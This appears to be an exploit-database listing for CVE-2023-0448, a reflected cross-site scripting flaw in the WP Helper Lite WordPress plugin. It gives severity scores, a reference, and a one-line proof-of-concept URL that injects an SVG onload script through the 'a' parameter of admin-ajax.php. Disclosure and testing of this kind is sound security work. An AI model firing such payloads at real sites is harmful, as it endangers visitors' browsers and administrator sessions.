Exploit for WP Helper Lite < 4.3 - Reflected Cross-Site Scripting

CVE-2023-0448

wpexploit · 2023-01-23

Description

WP Helper Lite version 4.3 Reflected Cross-Site Scripting vulnerability in surveySubmi

Entry point

Parametera · query param

Pathwp-admin/admin-ajax.php

Reflected XSS via unsanitized GET parameter echoed in AJAX response

Affected Matbao Wp Helper Premium versions

Matbao Wp Helper Premium< 4.3

All known vulnerabilities by product

Wp Helper Lite

CVSS 6.1 for CVE-2023-0448

6.1

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

EPSS Score

42.9%higher than 98.6% of all CVEs

Updated 2026-08-01

References

https://www.tenable.com/security/research/tra-2023-3

Exploit Details

Modified:2023-01-24 20:11

Last Seen:2023-05-21 20:49

Reporter:wpvulndb

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:1F24DB34-F608-4463-B4EE-9BC237774256
https://example.com/wp-admin/admin-ajax.php?action=surveySubmit&a="><svg%20onload=alert(/XSS/)>

Exploit Code

Share

Share on social media: